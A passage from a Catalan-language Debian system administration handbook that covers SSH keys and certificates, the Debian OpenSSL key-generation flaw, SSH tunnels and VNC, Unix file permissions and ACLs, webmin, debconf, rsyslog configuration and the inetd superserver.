Qualsevol que tingui la clau privada pot accedir al compte així configurat. Aquesta és la raó per la qual l'accés a la clau privada està protegit amb una contrasenya. Algú que obtingui una còpia d'un fitxer de clau privada (per exemple, ~/.ssh/id_rsa) encara li cal saber aquesta contrasenya per poder utilitzar-la. No obstant això, aquesta protecció addicional no és infalible, i si creieu que aquest fitxer ha estat compromès, és millor desactivar aquesta clau en els ordinadors en els quals s'hagi instal·lat (eliminant-la dels fitxers authorized_keys) i substituint-la per una nova clau generada.

CULTURA Error OpenSSL a Debian Etch

La llibreria OpenSSL, tal i com es va proporcionar inicialment a Debian Etch, tenia un greu problema en el seu generador de nombres aleatoris (RNG). De fet, el mantenidor de Debian hi havia fet un canvi de manera que les aplicacions que l'utilitzaven ja no generarien avisos quan fossin analitzades per eines de prova de memòria com valgrind. Malauradament, aquest canvi també va significar que l'RNG només emprava una font d'entropia corresponent al nombre de procés (PID) els 32.000 valors possibles del qual no ofereixen suficient aleatorietat.

→ https://www.debian.org/security/2008/dsa-1571

Específicament, cada cop que s'usava l'OpenSSL per generar una clau, sempre generava una clau dins d'un conjunt conegut de centenars de milers de claus (32.000 multiplicat per un petit nombre de longituds de clau). Això va afectar les claus SSH, les claus SSL i els certificats X.509 utilitzats per nombroses aplicacions, com OpenVPN. Un «cracker» només havia de provar totes les claus per obtenir accés no autoritzat. Per reduir l'impacte del problema, el dimoni SSH es va modificar per rebutjar les claus problemàtiques que s'enumeren en els paquets opensh-blacklist i opensh-blacklist-extra. Addicionalment, l'ordre ssh-vulnkey permet la identificació de possibles claus compromeses al sistema.

Una anàlisi més exhaustiva d'aquest incident posa de manifest que és el resultat de múltiples (petits) problemes, tant dins del projecte OpenSSL com amb el mantenidor del paquet Debian. Una llibreria àmpliament usada com l'OpenSSL no hauria — sense haver-se modificat — de generar avisos quan es prova amb vagrind. A més, el codi (especialment les parts tan sensibles com el RNG) hauria d'estar millor comentat per evitar aquests errors. Per part de Debian, el mantenidor volia validar les modificacions amb els desenvolupadors de l'OpenSSL, però simplement va explicar les modificacions sense proporcionar el pedaç corresponent per revisar, i no va esmentar el seu paper dins de Debian. Finalment, les decisions de manteniment van ser “subòptimes”: els canvis fets al codi original no estaven clarament documentats; totes les modificacions es van desar efectivament en un repositori Subversion, però van acabar tots en un sol pedaç durant la creació del paquet d'origen.

En aquestes condicions és difícil trobar les mesures correctives per a evitar que aquests incidents es repeteixin. La lliçó que s'ha d'aprendre aquí és que cada divergència que Debian introdueix al programari original ha d'estar justificada, documentada, presentada al projecte original quan sigui possible, i àmpliament divulgada. Des d'aquesta perspectiva es va desenvolupar el nou format de paquet de fonts (“3.0 (quilt)”) i el servei web de les fonts de Debian fou desenvolupat.

→ https://sources.debian.org

9.2.1.2. Autenticació basada en certificat

Les claus SSH no es poden protegir només amb una contrasenya (o no). Una característica sovint desconeguda és que també es poden signar mitjançant certificat, tant les claus del servidor com les del client. Aquesta aproximació comporta diversos avantatges. En lloc de mantenir un fitxer authorized_keys per cada usuari com s'ha descrit a la secció anterior, el servidor SSH es pot configurar per confiar en totes les claus de client signades amb el mateix certificat (vegeu també Secció 10.2.2, «Infraestructura de clau pública: easy-rsa») usant les directives TrustedUserCAKeys i HostCertificate a /etc/ssh/sshd.config.

TrustedUserCAKeys /etc/ssh/ssh_users_ca.pub HostKey /etc/ssh/ssh_host_ecdsa_key HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub

Recíprocament, els clients també es poden configurar per confiar en la clau de l'amfitrió signada per la mateixa autoritat, fent més fàcil mantenir el fitxer known_hosts (fins i tot a nivell de sistema via /etc/ssh/known_hosts).

@cert-authority *.falcot.com ssh-rsa AAAA[..]

Tots dos, tant la clau pública com l'autenticació de certificat es poden utilitzar simultàniament.

9.2.1.3. Usar aplicacions X11 remotes

El protocol SSH permet la redirecció de dades gràfiques (sessió “X11”, pel nom del sistema gràfic més estès a Unix); el servidor manté un canal dedicat per a aquestes dades. Específicament, un programa gràfic executat remotament es pot mostrar al servidor X.org de la pantalla local, i tota la sessió (entrada i pantalla) serà segura. Com que aquesta característica permet que les aplicacions remotes interfereixin amb el sistema local, no està habilitada per defecte. Podeu habilitar-la especificant X11Forwarding yes al fitxer de configuració del servidor (/etc/ssh/sshd_config). Finalment, l'usuari també ho ha de sol·licitar afegint l'opció -X a la línia d'ordres de l'ssh.

ANANT MÉS ENLLÀ “galetes” màgiques a .Xauthority

Quan un usuari es connecta a través d'SSH i inicia una sessió remota X11, es crea el que s'anomena magic cookie (“galeta màgica”) i s'emmagatzema al fitxer .Xauthority al directori inicial de l'usuari que ha iniciat la connexió. Aquesta galeta és utilitzada per xauth per autenticar l'usuari durant la sessió X. Si l'usuari suplanta un altre usuari del sistema, per exemple utilitzant su o sudo, llavors la galeta no es copia automàticament a l'usuari de destinació i el servidor X refusarà iniciar aplicacions gràfiques sota el context de l'usuari de destinació. Haureu de copiar la galeta màgica al directori inicial de l'usuari de destinació (exportant i reimportant la galeta mitjançant xauth) per permetre que un altre usuari iniciï programes gràfics també durant la sessió X.

9.2.1.4. Creació de túnels encriptats amb reenviament de ports

Les opcions -R i -L permeten a ssh crear “túnels xifrats” entre dues màquines, redirigint de forma segura un port TCP local (vegeu la barra lateral TORNAR A LES BASES TCP/UDP) cap a una màquina remota o viceversa.

VOCABULARI Túnel

Internet, i la majoria de les xarxes locals (LAN) que hi estan connectades, operen en mode de paquets i no en mode de connexió, el que significa que un paquet emès d'un ordinador a un altre s'aturarà en diversos encaminadors intermedis per trobar un camí a la destinació. Tot i així, podeu simular una operació connectada on el flux s'encapsula en paquets IP normals. Aquests paquets segueixen la seva ruta habitual, però el flux es reconstrueix sense canvis a l'arribada. Anomenem això un “túnel”, analogament a un túnel de carretera en el qual els vehicles condueixen directament des de l'entrada (entrada) a la sortida (sortida) sense trobar interseccions, en contraposició a un camí en la superfície que implicaria interseccions i una direcció canviant.

Es pot utilitzar aquesta oportunitat per afegir xifratge al túnel: el flux que corre a través d'ell esdevé llavors irrecognoscible des de l'exterior, però es retorna en forma desencriptada a la sortida del túnel.

ssh -L 8000:servidor:25 intermediari estableix una sessió SSH amb la màquina intermediari i escolta pel port local 8000 (vegeu Figura 9.3, «Reenviament d'un port local amb SSH»). Per a qualsevol connexió establerta en aquest port, ssh iniciarà una connexió des de l'ordinador intermediari cap al port 25 del servidor, i unirà ambdues connexions.

ssh -R 8000:servidor:25 intermediari també estableix una sessió SSH amb la màquina intermediari, però és en aquest equip que ssh escolta pel port 8000 (vegeu Figura 9.4, «Reenviament d'un port local amb SSH»). Qualsevol connexió establerta en aquest port farà que ssh obri una connexió des de l'ordinador local cap al port 25 del servidor, i unirà ambdues connexions.

En tots dos casos es fan connexions al port 25 de l'equip servidor, que passen a través del túnel SSH establert entre la màquina local i la màquina intermediari. En el primer cas, l'entrada al túnel és el port local 8000, i les dades es mouen cap a la màquina intermediari abans de ser dirigida a l'equip servidor a la xarxa “pública”. En el segon cas, l'entrada i la sortida del túnel s'inverteixen; l'entrada és el port 8000 de la màquina intermediari, la sortida és a l'ordinador local, i les dades es dirigeixen a servidor. A la pràctica, el servidor sol ser la màquina local o l'intermediari. D'aquesta manera SSH assegura la connexió d'un extrem a l'altre.

Figura 9.3. Reenviament d'un port local amb SSH

Figura 9.4. Reenviament d'un port local amb SSH

9.2.2. Ús d'escriptoris gràfics remots

VNC (computació en xarxes virtuals o «Virtual Network Computing») permet l'accés remot a escriptoris gràfics.

Aquesta eina s'utilitza principalment per a l'assistència tècnica; l'administrador pot veure els errors als quals s'enfronta l'usuari i mostrar-li el curs correcte de l'acció sense haver d'estar al seu costat.

En primer lloc, l'usuari ha d'autoritzar compartir la seva sessió. L'entorn d'escriptori gràfic del GNOME inclou aquesta opció a través de Paràmetres → Compartició (a diferència de versions anteriors de Debian, on l'usuari havia d'instal·lar i executar vino). Perquè això funcioni, el network-manager ha d'estar gestionant la xarxa utilitzada (per exemple, habiliteu el mode maaged per a dispositius gestionats per ifupdown a /etc/NetworkManager/NetworkManager.conf). El KDE Plasma encara requereix l'ús de krfb per permetre compartir una sessió existent sobre VNC. Per a altres entorns d'escriptori gràfics, les ordres x11vnc o tightvncserver (dels paquets Debian amb idèntic nom) o tigervncserver (tigervnc-standalone-server) tenen mateix propòsit i proveeixen el paquet virtual vnc-server; qualsevol d'ells el podeu deixar disponible per a l'usuari amb una entrada de menú o icona a l'escriptori.

Quan la sessió gràfica està disponible via VNC, l'administrador ha de connectar-se amb un client VNC. GNOME té vinagre i remmina per a això, mentre que el projecte del KDE proporciona krdc (en el menú K → Internet → Client d'escriptori remot). Hi ha altres clients VNC que utilitzen la línia de d'ordres, com xtightvncviewer del paquet Debian homònim o xtigervncviewer al paquet Debian tigervnc-viewer. Un cop connectat, l'administrador pot veure el que està passant, treballar a la màquina remotament i mostrar a l'usuari com procedir.

SEGURETAT VNC sobre SSH

Si us voleu connectar usant VNC, però no voleu que les vostres dades s'enviïn en text clar a la xarxa, és possible encapsular les dades en un túnel SSH (vegeu Secció 9.2.1.4, «Creació de túnels encriptats amb reenviament de ports»). Senzillament cal saber que VNC utilitza per defecte el port 5900 per a la primera pantalla (anomenada “localhost:0”), 5901 per a la segona (anomenada "localhost:1"), etc.

L'ordre ssh -L localhost:5901:localhost:5900 -N -T equip crea un túnel entre el port local 5901 a la interfície «localhost» i el port 5900 de la màquina equip. El primer «localhost» restringeix SSH a escoltar només aquesta interfície a la màquina local. El segon “localhost” indica la interfície de la màquina remota que rebrà el trànsit de xarxa entrant a “localhost:5901”. Així, vncviewer localhost:1 connectarà el client VNC a la pantalla remota, tot i que heu indicat el nom de la màquina local.

Quan tanqueu la sessió VNC, recordeu també tancar el túnel sortint de la corresponent sessió SSH.

TORNAR A LES BASES Gestor de pantalla

gdm3, kdm, lightdm, i xdmsón gestors de pantalla o «display managers» (tots els proveeixen el metapaquet x-display-manager. Prenen el control de la interfície gràfica poc després de l'arrencada per proporcionar a l'usuari una pantalla d'inici de sessió. Una vegada que l'usuari ha iniciat la sessió, executen els programes necessaris per iniciar una sessió gràfica de treball.

9.3. Gestió de permisos

Linux és definitivament un sistema multiusuari, així doncs és necessari proporcionar un sistema de permisos per controlar el conjunt d'operacions autoritzades en fitxers i directoris, que inclou tots els recursos i dispositius del sistema (en un sistema Unix, qualsevol dispositiu està representat per un fitxer o directori). Aquest principi és comú a tots els sistemes Unix, però un recordar-lo sempre és útil, especialment perquè hi ha alguns usos avançats interessants i relativament desconeguts.

9.3.1. Propietaris i permisos

Cada fitxer o directori té permisos específics per a tres categories d'usuaris:

el propietari (simbolitzat amb la lletra u d'usuari);

el grup propietari (simbolitzat per la lletra g de grup), que representa tots els membres del grup;

els altres (simbolitzat per la lletra o de l'anglès «other» o “altres”).

Es poden combinar tres tipus bàsics de drets:

lectura (representat por la lletra r de «read», llegir en anglès);

escriptura (o modificació, representat amb la lletra w de «write», escriure en anglès);

execució (representat amb la lletra x d'«eXecute»: executar en anglès).

En el cas d'un arxiu, aquests permisos es poden entendre fàcilment: l'accés de lectura permet llegir-ne el contingut (incloent-hi la còpia), l'accés d'escriptura permet modificar-lo, i l'accés d'execució permet executar-lo (que només funcionarà si és un programa).

SEGURETAT executables setuid i setgid

Dos permisos en particular són rellevants per als fitxers executables: setuid i setgid (simbolitzats amb la lletra “s”). Tingueu en compte que sovint parlem de «bit», ja que cadascun d'aquests valors booleans pot ser representat per un 0 o un 1. Aquests dos permisos permeten a qualsevol usuari executar el programa amb, respectivament, els drets del seu propietari o del seu grup. Aquest mecanisme concedeix accés a funcionalitats que requereixen permisos de nivell més alt que els que normalment tindrien.

Com que un programa de «root» amb el setuid s'executa sistemàticament sota la identitat de superusuari, és molt important assegurar que és segur i fiable. De fet, un usuari que aconseguís subvertir-lo per cridar a una ordre de la seva elecció podria llavors suplantar a l'usuari arrel i tenir tots els permisos al sistema.

Si necessiteu executar un programa sota un usuari diferent o si un programa requereix més permisos, les ordres sudo, su, o runuser solen ser millors opcions que utilitzar aquests bits (vegeu Secció 8.9.4, «Compartir els permisos d'administrador»).

Un directori es gestiona de manera diferent. L'accés de lectura dona dret a consultar la llista de les seves entrades (fitxers i directoris), l'accés d'escriptura permet crear-hi o suprimir fitxers, i l'accés d'execució permet creuar-lo (especialment per accedir-hi amb l'ordre cd). Poder creuar un directori sense poder llegir-lo dona permís per accedir a les entrades que es coneixen pel seu nom, però no per a trobar-les si no se'n coneix l'existència o el nom exacte.

SEGURETAT directori setgid i sticky bit

El bit setgid també s'aplica als directoris. Qualsevol element creat en aquests directoris s'assigna automàticament al grup propietari del directori pare, en lloc d'heretar el grup principal del creador com de costum. Aquesta configuració evita que l'usuari hagi de canviar el seu grup principal (amb l'ordre newgrp) quan treballa en un arbre de fitxers compartit entre diversos usuaris del mateix grup dedicat.

El bit «sticky» (simbolitzat per la lletra “t”) és un permís que només és útil en els directoris. S'utilitza especialment per a directoris temporals on tothom té accés d'escriptura (com ara /tmp/): restringeix l'eliminació de fitxers perquè només el seu propietari (o el propietari del directori pare) ho pugui fer. Si no fos per això, qualsevol podria suprimir els fitxers d'altres usuaris a /tmp/.

Tres ordres controlen els permisos associats a un fitxer:

chown usuari fitxer canvia el propietari del fitxer;

chgrp grup fitxer canvia el grup propietari;

chmod permisos fitxer canvia els permisos del fitxer.

Hi ha dues maneres de representar els permisos. Entre elles, la representació simbòlica és probablement la més fàcil d'entendre i recordar. Es tracta dels símbols de les lletres esmentats anteriorment. Podeu definir els drets de cada categoria d'usuaris (u/g/o), establint-los explícitament (amb=), afegint-los (+), o traient-los (-). Així, la fórmula u=rwx,g+rw,o-r dona al propietari permisos de lectura, escriptura i execució, afegeix permís de lectura i d'escriptura per al grup propietari, i elimina el permís de lectura per a altres usuaris. Els permisos no alterats per l'addició o substracció en una ordre d'aquest tipus romanen igual. La lletra a, de «all» en anglès (tot), cobreix les tres categories d'usuaris, de manera que a=rx concedeix a les tres categories els mateixos permisos (lectura i execució, però no escriptura).

La representació numèrica (octal) associa a cada permís amb un valor: 4 per a la lectura, 2 per a l'escriptura, i 1 per a l'execució. Associem cada combinació de permisos amb la suma de les xifres. Cada valor s'assigna a les diferents categories d'usuaris posant-los en l'ordre habitual (propietari, grup, altres).

Per exemple, l'ordre chmod 754 fitxer establirà els següents permisos: lectura, escriptura i execució per al propietari (atès que 7 = 4 + 2 + 1); lectura i execució per al grup (de 5 = 4 + 1); i només lectura per a altres. El 0 (zero) significa cap permís; així chmod 600 fitxer concedeix permisos de lectura/escriptura per al propietari, i cap permís per a ningú més. Les combinacions més freqüents són 755 per a fitxers executables i directoris, i 644 per a fitxers de dades.

Per representar els permisos especials es pot prefixar un quart dígit a aquest nombre segons el mateix principi, on els bits setuid, setgidi sticky són 4, 2 i 1 respectivament. chmod 4754 associarà el bit setuid amb els permisos descrits prèviament.

Tingueu en compte que l'ús de la notació octal només permet establir simultàniament tots els permisos a un fitxer; no es pot utilitzar simplement per afegir un nou permís, com ara l'accés de lectura per al propietari del grup, ja que cal tenir en compte els drets existents i calcular el nou valor numèric corresponent.

SUGGERIMENT Operació recursiva

A vegades hem de canviar els drets per tot un arbre de fitxers. Totes les ordres anteriors tenen una opció -R per operar recursivament als subdirectoris.

La distinció entre directoris i fitxers a vegades causa problemes amb les operacions recursives. Aquesta és la raó per la qual s'ha introduït la lletra “X” a la representació simbòlica dels drets. També representa el dret d'execució, però s'aplica diferent en directoris que en fitxers.

Per als directoris, afegeix permisos d'execució als usuaris seleccionats. Per als fitxers, afegeix el bit executable només si almenys un dels usuaris (propietari, grup o altres) ja té permisos executables. Vegem-ho, perquè aquest bit pot ser confús:

$ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod o+x test.txt $ ls test.txt -rw-r--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rwxr--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

L'exemple mostra un fitxer típic amb els seus permisos predeterminats: el seu propietari el pot llegir i modificar, el grup del propietari i tots els altres usuaris el poden llegir. La següent operació (u+X) no afegirà permisos executables per al propietari del fitxer, perquè els permisos a executar no s'han assignat. L'operació no té cap efecte en el fitxer. A continuació, assignem drets d'execució per a "altres" usuaris i repetim l'operació. Aquesta vegada sí que funciona, perquè almenys un grup d'usuaris ja té permisos d'execució.

És un error pensar que aquest bit només afectarà els directoris. Si els fitxers i directoris tenen permisos mixtos, sovint és una bona idea utilitzar l'ordre find per localitzar els objectius amb què voleu operar.

SUGGERIMENT Canvi d'usuari i de grup alhora

Sovint voldreu canviar el grup d'un fitxer al mateix temps que en canvieu el propietari. L'ordre chown té una sintaxi especial per a això: chown usuari:grupfitxer. Aquesta sintaxi també es pot utilitzar per canviar recursivament (-R) la propietat de tot un directori sencer.

ANANT MÉS ENLLÀumask

Quan una aplicació crea un fitxer li assigna permisos indicatius, sabent que el sistema elimina automàticament certs permisos donats per l'ordre umask. Introduïu umask en un intèrpret de comandes: veureu una màscara com 0022. Es tracta simplement d'una representació octal dels drets que s'han d'eliminar sistemàticament. En aquest cas, el dret d'escriptura per al grup i pels altres usuaris: Amb el valor d'«umask» anterior, el valor predeterminat per als directoris 777 es converteix en 755 i els permisos predeterminats per als fitxers 666 esdevenen 644.

El valor per defecte del sistema està gestionat per pam_umask(8) i /etc/login.defs.

Si li doneu un nou valor octal, l'ordre umask modifica la màscara. Si s'usa en un fitxer d'inicialització de l'intèrpret d'ordres (per exemple, ~/.bashrc o ~/.profile), canviarà de manera efectiva la màscara predeterminada per a les vostres sessions de treball.

9.3.2. ACLs - Access Control Lists

Molts sistemes de fitxers, per exemple Btrfs, Ext3, Ext4, JFS, XFS, etc., admeten l'ús de llistes de control d'accés (ACL o «Access Control Lists»). Aquestes amplien les característiques bàsiques de la propietat i els permisos dels fitxers, descrits a la secció anterior, i permeten un control més refinat de cada objecte (fitxer). Per exemple: un usuari vol compartir un fitxer amb un altre usuari i aquest usuari només l'hauria de poder llegir, però ni escriure-hi ni canviar-lo.

Per a alguns dels sistemes de fitxers, l'ús d'ACLs està habilitat per defecte (per exemple Btrfs, Ext3, Ext4). Per a altres sistemes de fitxers o sistemes més antics s'ha d'habilitar utilitzant l'opció de muntatge acl - ja sigui directament amb l'ordre mount o a /etc/fstab. De la mateixa manera, l'ús de les ACL es pot desactivar utilitzant l'opció de muntatge noacl. Per als sistemes de fitxers Ext* també es pot utilitzar l'ordre tune2fs -o [no]acl /dev/dispositiu per activar/desactivar l'ús d'ACLs per defecte. Els valors predeterminats per a cada sistema de fitxers normalment es poden trobar a la secció 5 de les seves pàgines de manual homònimes (sistema-de-fitxers(5)) o a mount(8).

Després d'habilitar les ACLs, els permisos es poden establir utilitzant l'ordre setfacl(1), mentre que getfacl(1) permet recuperar els ACL d'un objecte o camí donats. Aquestes ordres formen part del paquet acl. Amb setfacl també es poden configurar els fitxers o directoris acabats de crear perquè heretin els permisos del directori pare. És important assenyalar que les ACL són processades per ordre i que una entrada anterior que encaixi a la situació té prioritat sobre les entrades posteriors.

Si un fitxer té configurades ACLs, la sortida de l'ordre ls -l mostrarà un signe “+” després dels permisos tradicionals. Quan s'utilitzen ACLs, l'ordre chmod es comporta lleugerament diferent, i umask pot ser ignorat. L'àmplia documentació, per exemple acl(5), conté més informació.

9.4. Interfícies d'administració

Usar una interfície gràfica per a l'administració és interessant en diverses circumstàncies. Un administrador no coneix necessàriament tots els detalls de configuració de tots els seus serveis, i no sempre té temps per anar a buscar la documentació sobre els temes. Una interfície gràfica per a l'administració pot així accelerar el desplegament d'un nou servei. També pot simplificar la configuració de serveis que són difícils de configurar.

Una interfície d'aquest tipus és només una ajuda, i no una fi en si mateix. En tots els casos, l'administrador ha de dominar el seu comportament per tal d'entendre i resoldre qualsevol problema potencial.

Com que cap interfície és perfecta, hom pot ser temptat de provar diverses solucions. Això ha d'evitar-se en la mesura que sigui possible, ja que les diferents eines a vegades són incompatibles amb els seus mètodes de treball. Fins i tot si totes pretenen ser molt flexibles i intentar adoptar el fitxer de configuració com una sola referència, no sempre són capaces d'integrar canvis externs.

9.4.1. Administració amb una interfície web: webmin

Es tracta, sens dubte, d'una de les interfícies administratives més reeixides. És un sistema modular gestionat a través d'un navegador web que cobreix una àmplia gamma d'àrees i eines. A més, està internacionalitzada i disponible en molts idiomes.

Figura 9.5. Tauler de Webmin

Malauradament, webmin ja no forma part de Debian. El seu mantenidor a Debian va eliminar els paquets creats perquè ja no tenia el temps necessari per mantenir-los amb un nivell de qualitat acceptable. Ningú no ha pres el relleu oficialment, així que Debian no ofereix el paquet webmin.

No obstant això, hi ha un paquet no oficial distribuït al lloc web webmin.com. Contràriament als paquets originals de Debian, aquest paquet és monolític; tots els seus mòduls de configuració estan instal·lats i activats per defecte, encara que el servei corresponent no estigui instal·lat a la màquina.

SEGURETAT Canviar la contrasenya de «root»

En el primer inici de sessió, la identificació es duu a terme amb el nom d'usuari arrel i la seva contrasenya habitual (o les credencials de qualsevols usuari que pertanyi al grup sudo). Es recomana canviar la contrasenya utilitzada per a webmin tan aviat com sigui possible, de manera que si queda compromesa, els comptes d'usuari del servidor no quedin implicats, encara que això confereixi importants permisos administratius a la màquina.

Compte! Atès que webmin té tantes funcionalitats, un usuari maliciós que hi tingui accés podria comprometre la seguretat de tot el sistema. En general, les interfícies d'aquest tipus no es recomanen per a sistemes importants amb fortes restriccions de seguretat (tallafocs, servidors sensibles, etc.), i tampoc no es recomana que estiguin exposades al públic.

Webmin s'utilitza a través d'una interfície web, però no requereix que l'Apache estigui instal·lat. Essencialment, aquest programari té el seu propi mini servidor web integrat. Aquest servidor escolta per defecte al port 10000 i accepta connexions HTTP segures.

Els mòduls inclosos cobreixen una àmplia varietat de serveis, entre els quals:

tots els serveis bàsics: creació d'usuaris i grups, gestió de fitxers crontab, scripts o fitxers de serveis, visualització de registres, etc.

bind: configuració del servidor DNS (servei de noms);

postfix: configuració del servidor SMTP (correu electrònic);

serveis de xarxa: configuració del super-servidor xinetd;

quota de disc: administració de quotes d'usuari;

dhcpd: configuració del servidor DHCP;

prpftpd: configuració del servidor FTP;

samba: configuració del servidor de fitxers Samba;

software: instal·lació o eliminació de programari de paquets Debian i actualizacions de sistema.

La interfície d'administració està disponible en un navegador web a https://localhost:10000. Compte! No tots els mòduls són directament utilitzables. A vegades s'han de configurar especificant les ubicacions dels fitxers de configuració corresponents i d'alguns fitxers executables (programes). Freqüentment el sistema us preguntarà quan no pugui activar un mòdul sol·licitat.

ALTERNATIVA Centre de control de GNOME

El projecte GNOME també proporciona múltiples interfícies d'administració que normalment són accessibles a través de l'entrada “Paràmetres” al menú d'usuari de la part superior dreta. gnome-control-center és el programa principal que els agrupa tots, però moltes de les eines de configuració del sistema són proporcionades de manera efectiva per altres paquets (accountservice,system-config-printer, etc.). Encara que són fàcils d'utilitzar, aquestes aplicacions cobreixen només un nombre limitat de serveis bàsics: gestió d'usuaris, configuració del temps, configuració de xarxa, configuració de la impressora, etc.

9.4.2. Configuració de paquets: debconf

Molts paquets es configuren automàticament després de fer algunes preguntes durant la instal·lació a través de l'eina Debconf. Aquests paquets es poden reconfigurar executant dpkg-reconfigure -p nivell paquet.

Per a la majoria dels casos, aquests paràmetres són molt senzills; només es canvien algunes variables importants en el fitxer de configuració. Aquestes variables sovint s'agrupen entre dues línies de "demarcació" de manera que la reconfiguració del paquet només afecta l'àrea delimitada. En altres casos, la reconfiguració no canviarà res si l'script detecta una modificació manual de l'arxiu de configuració, per tal de preservar aquestes intervencions humanes (perquè l'script no pot assegurar que les seves pròpies modificacions no alterin la configuració ja existent).

NORMATIVA DEBIAN Preservació de canvis

La Normativa Debian estipula expressament que s'ha de fer tot el possible per preservar els canvis manuals realitzats a un fitxer de configuració, de manera que cada vegada més scripts prenen precaucions quan editen els fitxers de configuració. El principi general és simple: l'script només farà canvis si coneix l'estat del fitxer de configuració, que es verifica comparant la suma de verificació del fitxer amb la de l'últim fitxer generat automàticament. Si són iguals, l'script està autoritzat a canviar el fitxer de configuració. En cas contrari, determina que l'arxiu ha estat canviat i pregunta quines accions ha de prendre (si instal·la el nou fitxer, si conserva l'arxiu antic, o si intenta integrar els nous canvis al fitxer existent). Aquest principi de precaució ha estat durant molt de temps únic a Debian, però altres distribucions han començat a adoptar-lo gradualment.

El programa ucf (del paquet Debian del mateix nom) es pot utilitzar per implementar aquest comportament.

9.5. syslog Events de sistema

9.5.1. Principis i mecanisme

El dimoni rsyslogd és responsable de la recollida de missatges de servei procedents de les aplicacions i del nucli, i després distribuir-los en arxius de registre (normalment ubicats al directori /var/log/). Obeeix al fitxer de configuració /etc/rsyslog.conf.

Cada missatge de registre s'associa amb un subsistema d'aplicació (anomenat «facility» a la documentació):

auth i authpriv: per a autenticació;

cron: prové dels serveis de programació de tasques, cron i atd;

daemon: afecta un dimoni sense classificació especial (DNS, NTP, etc.);

ftp: referent al servidor FTP;

kern: missatge originat al nucli;

lpr:prové del subsistema d'impressió;

mail: ve del subsistema de correu electrònic;

news: missatge del subsistema Usenet (especialment d'un servidor NNTP — Network News Transfer Protocol — servidor que gestiona grups de notícies);

syslog: missatges del propi servidor syslogd;

user: missatges d'usuari (genèrics);

uucp: missatges del servidor UUCP (Unix to Unix Copy Program, un antic protocol utilitzat per distribuir missatges de correu electrònic);

local0 a local7: reservats per a ús local.

Cada missatge també està associat amb un nivell de prioritat. Aquesta és la llista en ordre decreixent:

emerg: “Ajuda!” Hi ha una emergència, el sistema probablement és inusable.

alerta: afanyeu-vos, qualsevol retard pot ser perillós, s'han d'adoptar mesures immediatament;

crit: les condicions són crítiques;

err: error;

warn: advertència (error potencial);

notice: les condicions són normals, però el missatge és important;

info: missatge informatiu;

debug: missatge de depuració.

9.5.2. El fitxer de configuració

La sintaxi del fitxer /etc/rsyslog.conf es detalla a la plana del manual rsyslog.conf(5), però també hi ha documentació HTML disponible al paquet rsyslog-doc (/usr/share/doc/rsyslog-doc/html/index.html). El principi general és escriure parelles de “selector” i “acció”. El selector defineix tots els missatges rellevants, i l'acció descriu com tractar-los.

9.5.2.1. Sintaxi del selector

El selector és una llista separada per punts i coma de parells subsistema.prioritat (exemple: auth.notice;mail.info). Un asterisc pot representar tots els subsistemes o totes les prioritats (exemples: *.alert o mail.*). Es poden agrupar diversos subsistemes, separant-los amb una coma (exemple: auth,mail.info). La prioritat indicada també cobreix els missatges de prioritat igual o superior; per tant auth.alert indica el subsistema missatges auth de prioritat alert o emerg. Si va prefixat amb un símbol d'exclamació (!) indica el contrari o, en altres paraules, les prioritats estrictament inferiors; auth.!notice, per tant, indica els missatges emesos des d'auth, amb prioritats info o debug. Si va prefixat amb un signe d'igual (=), correspon exactament i només a la prioritat indicada (auth.=notice només es refereix als missatges d'auth amb prioritat notice).

Cada element de la llista del selector substitueix els elements anteriors. Per tant, és possible restringir un conjunt o excloure determinats elements d'aquest. Per exemple, kern.info;kern.!err significa missatges del nucli amb prioritat entre info i warn. La prioritat none indica el conjunt buit (sense prioritats), i pot servir per excloure un subsistema d'un conjunt de missatges. Així, *.crit;kern.none indica tots els missatges de prioritat igual o superior a crit no provinents del nucli.

9.5.2.2. Sintaxi de les accions

TORNAR A LES BASES La canonada («pipe») amb nom, una canonada persistent

Una “canonada amb nom” és un tipus particular de fitxer que funciona com una canonada tradicional (la canonada que es fa amb el símbol “|” a la línia d'ordres), però a través d'un fitxer. Aquest mecanisme té l'avantatge de poder relacionar dos processos no relacionats. Qualsevol cosa escrita en una canonada amb nom bloqueja el procés que escriu fins que un altre procés intenta llegir les dades escrites. Aquest segon procés llegeix les dades escrites pel primer, que després pot reprendre l'execució.

Aquesta mena de fitxer es crea amb l'ordre mkfifo.

Les diferents accions possibles són:

afegir el missatge a un fitxer (exemple: /var/log/messages);

enviar el missatge a un servidor syslog remot (exemple: @log.falcot.com);

enviar el missatge a una canonada amb nom ja existent (exemple: |/dev/xconsole);

enviar el missatge a un o més usuaris, si estan connectats (exemple: root,rhertzog);

enviar el missatge a tots els usuaris connectats (exemple: *);

escriure el missatge en una consola de text (exemple: /dev/tty8).

SEGURETAT Reenviament de registres

És una bona idea desar els registres més importants en una màquina separada (potser dedicada a aquest propòsit), ja que això evitarà que qualsevol possible intrús elimini rastres de la seva incursió (a menys, per descomptat, també comprometi aquest altre servidor). A més, en cas d'un problema important (com una fallada del nucli), hi ha els registres disponibles en una altra màquina, la qual cosa augmenta les possibilitats de determinar la seqüència d'esdeveniments que van causar la fallada.

Per acceptar els missatges de registre enviats per altres màquines, cal reconfigurar rsyslog: a la pràctica, n'hi ha prou amb activar les entrades a punt per a usar de /etc/rsyslog.conf ($ModLoad imudp i $UDPServerRun 514).

9.6. El superservidor inetd

Inetd (sovint anomenat “superservidor d'internet”) és un servidor de servidors. Executa sota demanda servidors poc usats, de manera que aquests no han d'executar-se de manera contínua.

El fitxer /etc/inetd.conf llista aquests servidors i els seus ports habituals. L'ordre inetd escolta en tots aquests ports; quan detecta una connexió a qualsevol port d'aquest tipus, executa el corresponent programa de servidor.

NORMATIVA DEBIAN Registre d'un servidor a /etc/inetd.conf

Els paquets sovint volen registrar un nou servidor al fitxer /etc/inetd.conf, però la política de Debian prohibeix qualsevol paquet modificar un fitxer de configuració que no sigui propi. Aquesta és la raó per la qual es va crear l'script update-inetd (al paquet amb el mateix nom): Gestiona el fitxer de configuració, i altres paquets poden utilitzar-lo per registrar un nou servidor a la configuració del superservidor.

Cada línia significativa del fitxer /etc/inetd.conf descriu un servidor a través de set camps (separats per espais):

El número de port TCP o UDP, o el nom del servei (que s'assigna a un número de port estàndard amb la informació continguda al fitxer /etc/services).

